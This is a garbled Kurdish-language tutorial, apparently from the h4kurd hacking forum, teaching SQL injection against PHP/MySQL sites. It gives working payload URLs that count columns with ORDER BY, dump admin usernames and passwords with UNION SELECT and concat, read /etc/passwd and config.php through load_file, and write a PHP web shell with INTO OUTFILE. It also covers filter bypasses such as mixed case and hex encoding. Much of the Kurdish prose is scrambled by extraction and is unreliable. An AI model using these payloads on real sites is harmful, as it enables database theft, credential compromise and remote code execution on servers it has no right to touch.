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  بسم الله الرحمن الرحيم
  سبحانك �علم لنا ا� ما علمتنا انك انت العليم الحكيم

  
--------------------------------------------------------------  

  
  

@Z@@
رو  ت بواری كۆمپيوته  تايبه لۆجيا و به كنه و پێش چوونی ته ره ڵ به گه له
 و  كات و ڕيگه  زياد بوون ده  ڕوو لهكان هزكانی ھاكر رنێت ھێرشه ته ئه

و   له كێكه   يه SQL Injection ھێرشی . وه دۆزرێته شێوازی نووێ ده
ترسی   مه زۆر  و نه ئاسا زۆر   كه  له كێكه تونين بڵێن يه  يان ده ھێرشانه

و  ی ئهستر كان مه ره  پێده ره ی په زۆربهچی  كه .ر  ر ماڵپه  بۆ سه   هدار
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 يان پێدێ ی گاڵته ر باسی بكه گه  زۆر جار ئه ر بگره انن يان ھه ناز ھێرشانه
 .ن تايشی بۆ ناكه ره بۆ خۆپاراستنی سه

جێكردنی تا   ڕووی  جێبه رچی له گه  ئه ترسيداره زۆر مه كه نازانن 
توانی   ده ڕ كه ر ماڵپه  بۆ سه   ره كاريگهBم زۆر   به ك ئاسانه يه ڕاده

نھا بۆ  م ته كه  باسی ده  من كه.ربێنی   ده وه اتابێزه د وخۆ زانياری له ڕاسته
كار  نن يان ناو پاسۆردی بهێرب ڕيك ده  تا بتوانين زانياری ماڵپه  نيه وه ئه

ر و  ن ماڵپه اوهـ تا خيه وه م ئه ستی دووه به و مهـڵك ن بهنربێ رێك ده ھێنه
ی و   ڕيگه نی كهم �يه  تا به ترسی داره د مهن  چه ر بزانن كه ی ماڵپه داڕێژه

 ێ پارێزراوب  ھێرشانه و جۆره يان له كه ڕه اڵپهم بزانن تا  كه شێوازی ھێرشه
زنی  يكی مه وه نگدانه  ده م كه كه ده  وھێرشانه كێك له  كۆتای دا باسی يه له.
مريكی پياوێكی  تی دادی ئه زاره  وه2009 اوغست ی ساڵی 17   له.بوو ھه
 دزينی  ڵسابوون به  ھه وسی دادگايی كرد كهنجی ڕو مريكی و دوو گه ئه

    كه  SQL Injictionی ھێرشی   ڕيگه ی بانكی له  مليۆن ژماره130
 , Eleven-7ك زبLح ی وهيهكی ند كۆمپانيا ر چه  سه ھێرشيان كردبووه

Hannaford Brothers  
 ر ھيچی لێ گه توانی خۆت بپارێزی ئه  ده نده وه ندی بزانی ئه  تاچه  بۆيه
 . ناتوانی خۆتی ڵێبپارێزی  وه نی ئهزا نه
  
  
  

            AnGrY BoY 
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   : رگرن م ھيوادرام سوودی ڵيوه كه و ده ی خواره ند خاڵه و چه باسی  ئه
  

 SQL Injection ی  پێناسه .1
 رھێنانی زانياری گرنگ ده و  ڵه ی ھه وه دۆزينه  .2
 ك جار يه  به Field و  Tableرھێنانی زۆرترين  هد .3
 ی فايلی گرنگ وه خوێندنه .4
  كان  كێشه  ندێ له  ھهركردنی  سه چاره .5

  
-----------------------------------------------------------------------------  
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SQL)    ( ی  ؟؟ كورت كراوه چيه Structured Query Language   

 .كات  ڵ داتا بێز ده گه  له  قسه ێكهزمان كورتى  ه ب)البنيويه ا�ستعLمة لغ(
.  و وه يه رگری و نوێ بكه  داتا بێز وه   زانياری له وه  يهڕێگه توانی له ده
   وه ينه تاڵيبكه   به وه  و بيسڕينه ين  توانی   خشته دورست بكه ھا ده روه ھه وه
  .ندين كرداری تر ين و چه ستكاريبكه ده

 ی  ڵه كورتی باسی ھه ڵكو به  بهين   بكه SQL  ناتوانين باسی زمانی  لێره
SQL به  ناسراوه ين كه كه   ده   SQL Injectionداتا بێزی  له  access-

mysql )  server Oracle— - Mysql(   م ناكهموويان   باسی ھهمن 
ند  و چه هل .php سكريپتیڵ  گه لهم  كه ده Mysql )  ( نھا باسی  تهڵكو به.

يكی كورت و پوخت باس   شێوه  و به نێكی ساده زما به  دێن وه ی خواره دێره
  . تێبگات یس لێ موو كه ين تا ھه كه ده
  

  
  SQL Injection  ی پێناسه.1

  يه  دا ھهڕ كانی ماڵپه سكريپته   له يه ڵه  ئاسانترين ھه وبZو ترين و باو ترين
 بێتیر  گه  ئهجێكردنيدا جێبه  له نهازۆر ئاس    وه يكی زۆر بZوه  شێوه به

 یكان هڵێدانی كۆد ی  ڕێگه توانی له  ده كهنابێ    دانه)Filter(   كه داڕيژه
  .   وه  ناو داتا بێزه ربھێنی له ت دهس زانياری پێوي وه   SQL زمانی 

  
  

SQL كان  زمانه  له اسمان كرد زمانێكه ب روه سه  له  
Injection  چی ی زانستی    زاراوه  به زمانی كوردی نازانم  له

بی  ره  زمانی عه  له  دێرزی لێدان ده  مانای كه ووشه Bم  به!!؟؟ گوترێ پێده
 زمانی   له Injectionربڕينی مانای   ده  بۆيه.)  الحقن(گوترێ  پێده
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  يستيمان به ونھا پێ  ته س ئێمه  به. بێ يه م شێوه ی به  واتاكه ته حمه كوردی زه
   !!!نكا رگێڕانی زاراوه  وه ك  نه يه ی ھه كه مانه

  

ست بێنی   ده  ئاسانی زانياری به بۆ كار ئاسانی تا بتوانی به  : 
   . بی داخراو بی واتا چاBك نه  off  = magic_quotes_gpc  باشتره
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  رھێنانی زانياری گرنگ    و  ده ڵه ی ھه وه دۆزينه.2
   ؟؟؟ يه ی ھه ڵه  ھه و سايته زانين ئه چۆن ده

   وه ی خواره و نموونه ك ئه  وه ماشا بكه  ته وه ينه كه يتێك دها س بۆ نموونه
 

  
  . يه  ڵێره كه ڵه  ھه يان گۆڕاوه وه ئه file.php?id=1    كۆتايی دا نوسراوه له
  
   وه ی خواره  وێنهك ئــهم وه
  

  
  

http://localhost/file.php?id=1 
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     بزانه  بكهئينتهر پاشان و  بنووسه  ) '(م ھێمايه  ك ئه  يه ژمارهپاش  له
   دات  پێشان دهـیچ

  
  
   وه ی خواره ێنهو
  

  
  

ڵێ  ه دوه ره ی سه ك وێنه وهرچوو   ده يه و شێوه يكی له ر ھاتوو نامه گه ئه
      نھا نووسرابوو   يان ته   يه ك ھههيهڵ ھه

http://localhost/file.php?id=1' 
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  يان نوسرابوو

  
   يه و شێوه يان به

  
و   ئه100%   له ج نيه  مه بێ ھهی  ڵه  ھه يه ی ھه وه ری ئه گه  ئه  بزانه وه  ئه

  .بێ ی ھه ڵه  ھه75%  يه  ھه وه ئه ری گه Bم ئه بی به ھهی  ڵه  ھه سايته
  

    وه ی خواره  ووێنهك ئـهم  وه

You have an error in your SQL syntax 

Warning: mysql_fetch_array(): supplied argument 
is not a valid MySQL result resource in  
/home/user/public_html/files.php  

 

Warning: mysql_result(): supplied argument is 
not a valid MySQL result resource in 



 

SQL Injection Attacks 
 

 
 
 

- 10 - 

@ @@ @

  
  
  

ی   ڕێگه رگرين له گ وه چۆن زانياری گرن يه ی ھه ڵه  ھه ئێستا زانيمان كه
  ؟؟؟  يه ڵه و ھه ئه
  

ێن زانياری گرنگ و بي با  يه هھی  ڵه  ھه و سايته ی زانيمان ئه وه پاش ئه
  User Name  &   Passwordك  ن وهيربێن ێويست دهپ

   .بزانين   columnی م چار ژماره كه يهبێ   پاسۆرد ده و بۆ زانينی ناو
    كه دوای گۆڕاوه ه ل order by   نووسينى   ن بهيست ڵده ھه
 ) order by (مان پێ بڵێ كه  ژماره ی كه كه  واتا داوا ده  
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ستين  به  ده Sqlكانی زمانی   فرمانه  باسم كرد پشت به وه ره سه ك له وه
  . زمانی ئاسای  له   زۆر نزيكه  Sqlزمانی 

  ردينين  ده  columnی   ژماره يه وه م شێه به
   
   وه وارهی خ  وێنهك ئــهم وه
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 يان  يان داخستنیـڕمانای كۆتای دێ   )*/(يان      (--)  - :
    كان ر كۆده  سه ا كارناكاتهــ دێ وات ی پێناسهـامان  دووای دێ به ی له وه ئه
     

  
ی بۆ ب  وون ده كه ڕه  �په  له كه ڵه ی  تا ھه كه ست پێده  ده وه يكه  ژماره له

 9   بيكه وه ر مابوو ئه  ھه كه ڵه ر ھه گه  ئه ست پێبكه  ده10  ارهم ژ  له نموونه
  كه ڵه تا ھهھا  روه ھه  وه 6  بيكه 7    بيكه8   بيكه وه ر مابوو ئه ر ھه گه ئه
رچاو  م گۆڕانكاری به نيكه �يه يان به  بی  وون ده كه ڕه ر �په سه له

 . كه ڕه  �په ڕووبدات له
 بۆ  يه  كه  Columnی    ژماره وه  وون بوو ئه كه ڵه  ھه  كام ژماره هل

   مان Columnی   ئێستا ژماره.   ون بوو  كه ڵه  ھه8   ژماره  له نموونه
  زۆر  كه ڵه  ھه8  ماره ژ  له وه ی خواره و وێنه ك ئه  وه 8   ژماره كهزانی 

   وهۆب م كه
  
  

http://localhost/file.php?id=1+order+by+10-- 
http://localhost/file.php?id=1+order+by+9-- 
http://localhost/file.php?id=1+order+by+8--   
http://localhost/file.php?id=1+order+by+7-- 
http://localhost/file.php?id=1+order+by+6-- 
http://localhost/file.php?id=1+order+by+5-- 
http://localhost/file.php?id=1+order+by+4-- 
http://localhost/file.php?id=1+order+by+3-- 
http://localhost/file.php?id=1+order+by+2-- 
http://localhost/file.php?id=1+order+by+1--  
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  ی ـن فرمانـيدێن زانى   ما columnی  ی ژماره وه پاش ئه

  .نينێ كار ده به  
  رھێنانی زانياری   و ده    union selectكار ھێنانی   به
  كار دێ به   يه م شێوه به
 

 

Union  select  

http://localhost/file.php?id=-1+union+select+1,2,3,4,5,6,7,8-- 
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  بينی له   پاشان ده   id دوای گۆڕاوی  له    )-(م  ڵ دانانی ھێمای كه گه له
 زانياری  وه   لێره8-1وان ـێن   لهـێتچەرد ك ده يه ند ژماره  چه كه ڕه و �پهنا

   .رينـگ رده گرنگ وه
  نووسرێ  ده يه م شێوه  به دهـج بـرن  سه وه ی خواره  وێنه همك ئ وه
  

  
  
  Bم چونكه  مان نووسيی بۆ ؟؟؟ وه8  ن بۆ تا ژماره  پرسيار بكه يه وانه له
    يه  كه columnی   وون بوو واتا ژماره8   ژماره  له كه ڵه ھه
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وێ  مانه ی ده وه  ئه واته  پيشان دا كه2   ژماره  دياره كه  وێنه ك له وه
 شوێنی  مووی له ر ھه ك ڤێرژن و ناوی داتا بێز و يوزه  وه وه بيبينينه
  نووسين  ده2  ژماره
    وه ی خواره يری وێنه سه

 يان  version@@نووسينی    ده   بۆ زانينی ڤێرژن بۆ نموونه
version()  2   شوێنی ژماره  له كه ره سته  به له  

  

  

ستمان ڤێرژنی  به  زانينی ڤێرژن مه ست له به مه  - :    
MySQL ا  ــ واتMySQL version   

  
 پيشان 2  ی ژماره وه جێگای ئه  له كه ڕه  ناو �په  له كه  وێنه  له ك دياره وه
  .داين ــانی پيش كه دا ڤێرژنهبـ
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  ()userر  بۆ زانينی  يوزه

   

  
  
  
  ش ناوی داتا بێز      وه  ئه()databaseۆ زانينی داتا بێز   ب
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  دا كانت پێدهه زانياري كه وێنی ژمارهش   له وه ره  سهی فرمانانهو  نوسينی ئه
 و هرھينانی ئ  ده ستين به لده ر و پاسۆرد ھه وزهيبۆ زانينی  ناوی 

  .. وه خوارهی  زانيارانه
  
  
  ) ( Table  دول  جه  ی  خشته وه دۆزينه  
    يه  وێنههمك ئ وهنووسرێ   ده يه م شێوه به

  

http://localhost/file.php?id=-
1+union+select+1,2,3,4,5,6,7,8+from+admin-- 
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  اردێـك ستنيشانكردن به  بۆ ده    Fromی  ووشه - :
  

  
  

 :- 
  يه و خشته  ئه )Table(  واتا خشته يه كه له دوه دمين ناوی جه ی ئه هووش
خۆ  گ لهن زانياری گر   Fieldر  گری ھه خۆ ده له    Fieldند  چه
 .گرێ ده
  گوێره  به  بی adminر  ك ھه موو سكريپته ھه   له رج نيه  مه بۆيه 

  .گۆڕی  سكريپت ده
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  انـك دوله ندێ ناوی جه ھه - :

  
   له وه چيته رده ك خۆی ده  وه كه و ژماره واو بوو ئه  ته كه ر ناوی خشته گه ئه

    . كه ڕه  ناو �په دات له  پيشان ده ڵه  ھه وه  بوو ئه ڵه ر ھه گه  ئه  وه كه ڕه ناو �په
  

ك خۆی   وه كه واو بوو ژماره  ته كه  گريمان  ناوی خشته بۆ نموونه
   وه ی خواره  وێنهـهمك ئ  وه؟؟ين  كه وو دوای چ دهچر ده
  

  

user , admin , member , login , moderator , administrator 
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  ك   وه  كه ێنی ژماره شو هل  Field     وسينی  ناوی نو ستين به ڵده ھه
  نووسين   ده م شێويه   به user nameۆزانينی ناو واتا ب

  
 

 user نوسيم  كه ره سته  ناو به  له2   شوێنی ژماره  لهنك بينيتا وه
  
م    به user nameی واتا چ رده  ده كه  ناوه كه  شوێنی ژماره بينين له ده

  .   دياره وه ی خواره كه  وێنه  له كه  يه شێوه

http://localhost/file.php?id=-
1+union+select+1,user,3,4,5,6,7,8+from+admin-- 



 

SQL Injection Attacks 
 

 
 
 

- 21 - 

@ @@ @

  
  
  ی سكريپت  گوێره ك گوتم به   بێت وه userنھا   ته رج نيه مه  \\تێبينی  
  

  ك  گۆڕ  وه  ده
   
 

User nam  ربێنين  با پاسۆردی ده و جاره ئهرھێنا   ده مان  
 
وا    ئه passwordی نھێنی واتا پاسۆرد  انينی ووشهھا بۆ ز رروه  ھه وه
   pwd يان  password  يان  passنووسين   ده

username , user, usr, user_name 
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    بكه وه ی خواره و وێنه ماشای ئه تهنووسرێ   ده يه م شێوه به

  

  
   passworچی واتا  رده  ده ی نھێنی   ووشه كه  شوێنی ژماره بينين له ده
 .رھێنا  ده  يشمان  password   يه وهم شێ به

  يه واژه سته م ده   ئه كه ردوو فرمانه ی ھه وه ستنه بۆ به - : 
    يه م شێوه هــب   concat(password,0x3e,user)ار دينين ـك به

Concatيان دانانی دوو فرمان  وه كه يه كان به ی فرمانه وه سته  بۆ به 
  . رێکجا به

http://localhost/file.php?id=-1+union+select+1, 
password,3,4,5,6,7,8+from+admin-- 
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0x3eكه  فرمانه وورد بی ھه ڵ نه ندرێ تا تێكه  داده  ناوبڕهك يان وه وه   ئه  
  ی  ھيكس  شێوه Bم به  به و ھێمايه   ئه>   له  بريتيه وه ئه
  .نھا بۆ زانياری  ته وه ئه

  
 

 
  
 ی وه نهيزۆ د وتا ره سه(  ناونيشانی   به ڵه گه ڕێزان فايلێكی ڤيديۆی له به
 ڤيديۆ   به  وێنه  به م باسم كردووه كه ی يهڵ خا ی له وه ديژی ئه  به كه)  هڵ ھه

  !! يشتن  بۆ زياتر تێگه باسم كرديه

http://localhost/file.php?id=-
1+union+select+1,concat(password,0x3e,user),3,
4,5,6,7,8+from+admin-- 
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 بۆ  ی پێوست بووه وه دمينی ئه ی ئه ڕه   و �په tableندێ ناوی   ھه وه
 !!  txt ناو فايلی   له  دام ناوه روه  سه و باسه ئه
  
 

 -------------------------------------------  
  

  ك جار يه  به Field و  Tableرھێنانی زۆرترين  هد .3
   كرد كهر و پاسۆردم ك يوزه انی زانياری وهرھێن  باسی ده وه ره  سه له

رو پاسۆرد  تا بتوانين يوزه بوو ھه ن ھه  Field  و  table  پێويست به
ش  وه ئهكان  ه  Fieldكان و   Table  دانانی ناوی  ويش به ربێنين ئه ده
بی   ده يه ڵه  يان ھه  ڕاسته  ئايه بووين ها ني دڵنين دايبنێ نده زه  مه  به بوايه ده

 4 ڤێرژنی  ا لهھن  ته وه  ئه وه بيينيه واوی ده  ته تا به  ھه وه يه  تاقی بكه دووباره
م زۆرترين  كی كه  ماوه توانی به  ده   زۆر ئاسانه5 فێرژنی   له.  ھايه وه

 .رگری زانياری وه
 باسم كرد  وه ره سه  وBم له؟؟؟   ه5 يان 4 ڤێرژنی  وه  چۆن بزانين ئه  باشه

   ()version يان   version@@ نووسی   ده كه  شوێنی ژماره له
   م باسم كردووه3 خاڵی   له وه  بوو ئه4ر  گه  ئه5 يان 4زانی  وكات ده هئ
  ن كه باسی ده ئێستا   زۆر ئاسانه وه  بوو ئه5ر  گه Bم ئه به
  ك باسم كرد له  بۆ زانينی ڤێرژن وه.نوسرێ  ده وه ی خواره م شێوه هب

     بكه يه و وێنه يری ئه  سهversion@@نووسی  يك ده شوێنی ژماره
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    وه ی خواره و وێنه ك ئه  وهversion@@نووسی   ده1  شوێنی ژماره له
  



 

SQL Injection Attacks 
 

 
 
 

- 26 - 

@ @@ @

  
  
  ؟؟  پاشان  ه5 زانيمان فێرژنی  وه  ئه  باشهۆرز

  كان له يبڵه بی ناوی ته  ده وه  ئه وه  ئاسانی ببينينه كان به يبڵه ی ته وه بۆ ئه
  MySQLCHARدا بنووسين پاشان بيگۆڕين بۆ   سه نێوان دوو ھێمای له

  
ی توڵباريێكی   ڕێگه توانی له  ده MySQLCHARتی گۆڕينی بۆ  چۆنيه
  يه  ھه رنامه ن  به  يا hackbarناوی    بهMozilla Firefox  ت له تايبه
   گۆڕين ت به تايبه

     بكه وه ی خواره و وێنه يری ئه  سه 
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وێ  مانه  ده  بۆ نموونه  لێبنووسه سته به ی مه وه  ئه وه بيته رێك ده نجه پاشان په
  %admin%نووسين ە د وه  ئه وه   بدۆزينه admin ی  tableناوی 
 پاشان User%%  وسی نو ی ده وه ئه table user  رھێنانی  بۆ ده

پاسۆرد  ى  tableرھێنانی      بۆ دهMySQLCHAR    ته ايك ده
    MySQLCHAR   نه يكهی   دوای ده  %pwd%نووسين  ده
  

ك   وه   بكه okپاشان كليكی    %admin% نووسيمان  ی كه وه دوای ئه
    وه ی خواره و وێنه ئه
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  يكاته  ده تهوی نوسي وه خرێ ئه  داده كه ره نجه  په وه  ئهد  كر  ok كليكی  كه

MySQLCHARوه ی خواره ك وێنه كار ھێنان وه  بۆ به يه   ئاماده   
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 كۆتايی   له  كۆپی بكه م پێدايه  ئاماژه كه  وێنه  له رچووه  ده  كه يه و ڕسته ئه
  ینڵ دانا گه  دايبنێ  له كه ره سته به

   
  .كان   ژماره  شوێنی يه كێك له له
  ڵ دانانی گه له

  
  كان   كۆتايی ژماره له
  ڵ دانای  گه له

ه كۆتايی ل 
  .موويان ھه

concat(table_name,0x3e,column_name,0x3e,ta
ble_schema) 

CHAR(37, 97, 100, 109, 105, 110, 37) 

from+information_schema.columns+where+colum
n_name+like+ 
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    بێته  ده كه ره سته يی بها كۆت له

  
     له  بريتيه راوهی زياد ك وه ئه
  

where : رشوێنيك بی   ھه واتا له  
  

:   Like ی  لێكچوو  واتا ھاوشێوه  
  

 و  ك پێك ھاتبی له يه ر ووشه   واتا ھه-:دا   سه ھێمای له ) %  ( % %
    نێوانمان نووسيه ی له پيتانه

 كان رنامه  دوای  به ڕين به گه  ناو ويندۆز ده  زۆر جار له  ئێمه بۆ نموونه
   وه   بی  بيدۆزه  exeی  شێوه ر فايلێك به   واتا ھه*exe.نووسين   ده
  sql زمانی   له يه مان مانی ھه  ھه وه ره ی سه و ووشه ئه
  

  
بێ    ھه passی  ر شوێنێك ووشه  ھه   له-  : بێته  ده كه  كۆتايی ڕسته  له
  . ری بێنه ده
  

http://localhost/file.php?id=-
1+union+select+1,2, 
concat(table_name,0x3e,column_name,0x3e,tab
le_schema),4,5+from+information_schema.colu
mns+where+column_name+like+ CHAR(37, 97, 
100, 109, 105, 110, 37)-- 

 

+where+column_name+like+%user% MySQLCHAR --  
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  وه چوو ئه رنه ه  د  pass يان  User اوی  ن ر به گه   ئه- : 
 admin  ,  password  , pwd , username , name   بيكه

, login , admin_name    ھاااااا روه  ھه  وه  

  
  . وه ی خواره و وێنه ك ئه دا وه  كان پيشان ده tableبينی   ده پاشان انتربكه
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  روه سه  له  كه وه همان كردار تاقی ك پاشان بۆ ناوی پاسۆرد ھه
 , %pwd%  بۆ پاسۆرد بنووسه وجاره ئه    %admin%نوسيمان

%pass%,  ھااا روه ھه وه..  
  
  وه  تاقی كرده  %pwd%ی   من ووشه ماشاكه ته وه ی خواره و وێنه ئهك  وه
  .ن  يركه وتووبوو سه ركه سه
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  رھيناا   مان ده user , password ئاسانی  ن به يركه  كۆتای سه له
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   به وه ته راوهک باسم كرد بۆتان شي ره سه ی له وه  ڤيديۆ ئه   به-: 
بۆ زياتر ) 5 ڤێرژنی  هل Field و  Tableرھێنانی زۆرترين  هد ( ناوی 
  !.يشتن تێگه

  
  

--------------------------------------------------  
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  ايلی ف وه رزكردنه ی فايلی گرنگ و به وه خوێندنه .4
ی   ڕيگه   له  sqlی  ڵه ی ھه  ڕێگه  بۆ ھاكردنی سايت له ئاسانترين ڕيگه

  load_fileويش فرمانی      ئه يه وه م فرمانه ئه
 load_file('/etc/passwd')كار دێ   به يه م شێوه به

وێ  ته  ده  كه  بنووسه و فايله وی ئه   ڕێڕه  'etc/passwd/ شوێنی   يان له
    وه ێنيهوبيخ
  magic quotes=OFF   ش پێويسته وه ئه
 ێج بهێ ج م فرمانه  ئهیتوان   دهmagic quotes=OFF یزان  دهنۆچ
  load_file('/etc/passwd')ی   بكه
 ئيش ناكات   دياره وه  سپی بوو ئه كه ڕه ی پيشان دا يان �په ڵه ر ھه گه ئه
  كات  ئيش ده بزانه وه ر زانياری پيشاندای ئه گه ئه

  نوسين  ده كه  شوێنی ژماره  له كار ھێنانی ئاسانه بهتی  چۆنيه

 
ی  و نموونه ك ئه  بنووسی وه كه ی فايله و توانی ڕێڕه ی فايل ده وه  خوێندنهبۆ

  وه خواره

  

  
و   زۆر جار ئه كه ڕه  ناو �په دات له ن ده زانياری كۆنفيگ پيشا يه م شێوه هب

  hex ھيكس  ته ی ێت بيكهب يش ناكات دهئی ئاسای   شێوه  به فرمانانه
  .بی  ده يه م شێوه ويش به كو ئيش بكات ئه تا وه

http://localhost/file.php?id=-1+union+select+1, 
load_file('/etc/passwd'),3,4,5+admin 

 

Config.php/home/h4kurd/public_html/ 
 

http://localhost/file.php?id=-1+union+select+1, 
load_file(/home/h4kurd/public_html/config.ph
p),3,4,5+admin-- 



 

SQL Injection Attacks 
 

 
 
 

- 36 - 

@ @@ @

  
 زۆرن پێويست ناكات باسی   ڕيگه وه كان بۆ ھيكس ئه بۆ گۆڕينی فرمانه

كان بۆ  نێم بۆتان بۆ گۆڕينی فرمانه يكی بچووك داده رنامه به. ين  بكه
  !.ھيكس

  
  

بێ  ده into+outfileی فرمانی   ڕێگه  له- :
   پێدراو بی به  واتا ڕێگه777 جمۆدی  بی به  ھه كه ناو ھۆسته رێك له فۆڵده
  ی فايل  وه رزكردنه به
ی تێدا  ڵه ی  پاشان كۆدی ھه توانی فايلێك دورست بكه  دهوكات ئه

  ی  پڵۆد بكه  پاشان شێڵ ئه وه بنوسيه
  نووسرێ  ده وه ی خواره م شێوه  به كه فرمانه

  
                                                                                   

م   ھيكس به تشفيری گۆڕين به  ده كه  فرمانهبووی وتوو نه ركه ر سه گه ئه
  ی لێدێ وه ی خواره شێوه

                                                                          
                                                                          

                                        

     س تشفيری ھيك ينه كه  ده م كۆدانه ئه

Unhex(hex(load_file(0x and command))) 
or load_file(0x and command)  

 

http://localhost/file.php?id=-1+union+select+1, <?php 
system($_GET[h4kurd]);?>,3,4,5+into+outfile"/home/h4kurd/p
ublic_html/folder/h4kurh.php"                                                
                                       

<?php system($_GET[h4kurd]);?> 
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 شێڵ توكا ی تێدابی ئه ڵه ی و ھه توانی فايلێك دوورست بكه  ده يه م شێوه به
    وه رز كه به
  

ی فايلی گرنگ و  وه تی خۆيندنه  ڤيديۆ  باسی چۆنيه نياری زياتربهبۆ زا
 یلي فای وه ندنهێخو( ناوی   بۆتان به  دامناوه  كرديهمی فايل رزكردنه به

  )گرنگ
  

---------------------------  
  
  
  
  
  
  
  
  
  
  
  
  
  
 

http://localhost/file.php?id=-1+union+select+1, 0x and code 
,3,4,5+into+outfile"/home/h4kurd/public_html/folder/h4kur
h.php"          
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  كان  كێشه  ندێ له  ھهركردنی  سه چاره .5
  

    Forbidden ری سه چاره
    union selectك  كانی وه وسينی فرمانه كاتی ن زۆر جار له

    Forbiddenنووسرێ   دهێچ رده يك ده ڕه �په
    union select نێوان   له م فرمانه  نوسينی ئه  به هسڵ ری ھه سه بۆ چاره
    وه ی خواره و نموونه ك ئه   وه all  بنووسه

 
 گۆڕينی   به  union select     نوسينی ی شێوه گۆڕينی   به ڵسه يان ھه
  ك  و بچووك  وه وره  گه كان به ی پيته شێوه

UniOn SlEcT  م شێوه ندرێ به ر داده سه ری له  زۆر جار فلته   چونكه  
ی  كه كان ده  پيته  ياری به هكتۆ    union select  ندرێ   داده ئاسايه

    وه  نايناسته وه ئه
   يه م شێوه  واتا به كه  پێش گۆڕاوه له   and 1+1 ی  يان ووشه

  
 
  
 
   به ڵسه  ھه وجاره ئه  ێوتوو ناب ركه و كاتێك سهوم  ھه  له شه مه Bم ئه به

  .. ھيكس  به كان بكه ی تشفيری ھيكس واتا فرمانه  شێوه گۆڕينی به
  
   بوونی كێشه كاتی ھه لهكان  يبڵه ی ته وه ۆزينهد

http://localhost/file.php?id=-
1+union+all+select+1,2,3,4,5+admin-- 

 

http://localhost/file.php?id=-
1+and+1=1+union+all+select+1,2,3,4,5+admin-- 
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 بی 5 خوارووی  ر بێت و فيرژنی له گه  ئهی شێوه  باسم كرد به وه ره  سه  له
   به وه كان ببينی  ئه يبڵه ت نادات تهتB  هس ندێ كات ده ی ھه وه ر ئه به يان  له

Bم   به وه ينه كه ك تاقی ده ك يه واتا يهن ينێ دهيدا) تخمين ( كردن  نده زه مه
 .كان  يبڵه ی ته  كاتی تاقی كردنوه كاری له بۆ ئاسان  يه  ھهی تر ڕيگه

  
نگی   ريپتی دهك س ک تێك وه  بابه  به ته سكريپت تايبه  يه ندێجار ھه ھه

sound    كان ببێته يبڵه  ناوی ته ر گه  ئه  ئاسايه يهۆب  sound_pass ,  
sound_user 

  
  كه ندنی سكريپتهزا هب دا  به هسڵ  ھه وه  ناسراو بوو ئه كه ر سكريبته گه  ئهيان 
  يان وه  بۆ دۆزينه كان بكه يبڵه ماشای ته ت ته كه ره ر كۆمپيوته سه له
   google   ڕێ له توانی بگه  ده وه ناسراو بوو ئه  نه كه ر سكريپته گه  ئه وه
 خاڵی  ك له  وه  ئيشبكات5ر ڤێرژنی  سه Bم له مان سكريپت به  دوای ھه به
  . وه كان بدۆزه يبڵه ئاسانی ته وكات به  ئهم باسم كرد  ه5
  
  
  وه بدۆزه   adminی  ڕه  �په وه بووی ئه وتوو نه ركه رسه ر ھه گه ئه وه

  بكه view source  ر    سه كليك له  پاشان كليكی �ی ڕاست بكه
   نوسرێ  دهرزانيارى بةسوودوێ زۆرجا  له كان بكه ماشای كۆده ته
  

  ك بۆ نموونه يبڵ وه  و ته كه  ناوی سايتهی وه  تاقی كردنه  به لسه يان ھه
  يه م شيوه كان به يبڵه  ته وه   بوو ئه  h4kurd.com ناوی  كه ر سايته گه ئه

  .  بنووسه

  

h4kurd_user 
h4kurd_pass 
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   kurdر ناوی داتا بێزی   گه  ئه   بۆ نموونه رگره يان ناوی داتابێزی وه

                                                لێبكه م شێوه  به وه بوو ئه

    
ت دوورست  تايبه  به  كه وتووه ركه  زۆر سه و سكريپتانه  بۆ ئه يه و ڕيگه ئه
  .كرێ  ده
 
 
 

--------------------------------  
  
  

تاقی  ر وه ر كۆمپيوته سه زاندنی سكريپت له تی دابه بۆ زانينی چۆنيه
نی تی دانا  چۆنيه وه  ڤيديۆ شيمكريته  بهsql inectionی  ڵه ی ھه كردنه

زاندنی سكريپت و  دابه( ناوی  ی پێويست به رنامه ڵ به گه له سكريپت
  ..... )ی پێويست رنامه به
  

-------------------------------------------  
  
  
  
  
  

  

kurd_user 
kurd_pass 
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  يت بكه وه ی خواره انهر سته و به ردانی ئه توانی سه بۆ زياتر زانياری ده

  
    SQL Helper ی  رنامه  به وه كرنهيش

html.8812-thread/kurd4h/com.kurd4h://http  
  

   Injection ی كات  له table یدان شاننهي پیر سه چاره
html.9033-thread/kurd4h/com.kurd4h://http  

  
   sql injection ی گهڕێ   لهتي سای ھاكیربوونێ فۆ بك هيتا ره سه

html.7970-thread/kurd4h/com.kurd4h://http  
  

SQLینانێتا ھ  ھه r00t   
html.11332-thread/kurd4h/com.kurd4h://http  

  
   Injection   لهForbidden یركردن سه چاره

html.10729-thread/kurd4h/com.kurd4h://http  
  

------------------------------------------------------------  
  
 ھێرشی  يكه  پێناسه  كورته وه ره ی سه ند دێره و چه ڵێم ئه ده كۆتايی دا هل

SQL Injection  رگرتبی  بوو ھيوادارم سوودتان لێوه  
  م له كه  داوای ڵيبوردن ده    بۆيه  نيه ڵه  بێھه ی نوسيومه وه بێگومان ئه

ی  وه يشتنی و تاقی كردنه ی تێگه وێرهگ   به و زانياريانه  ئهكان ڵه موو ھه ھه
  . خۆمه

---------------------------------------------  
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 زيا نێكی بچوكم  م كه كه  ده سانه و كه موو ئه  ھه دوای ڵيبووردن له
  . وه نجامی كاردانه  ئه بێ ھۆ يان له ياندبی چ به پێگه
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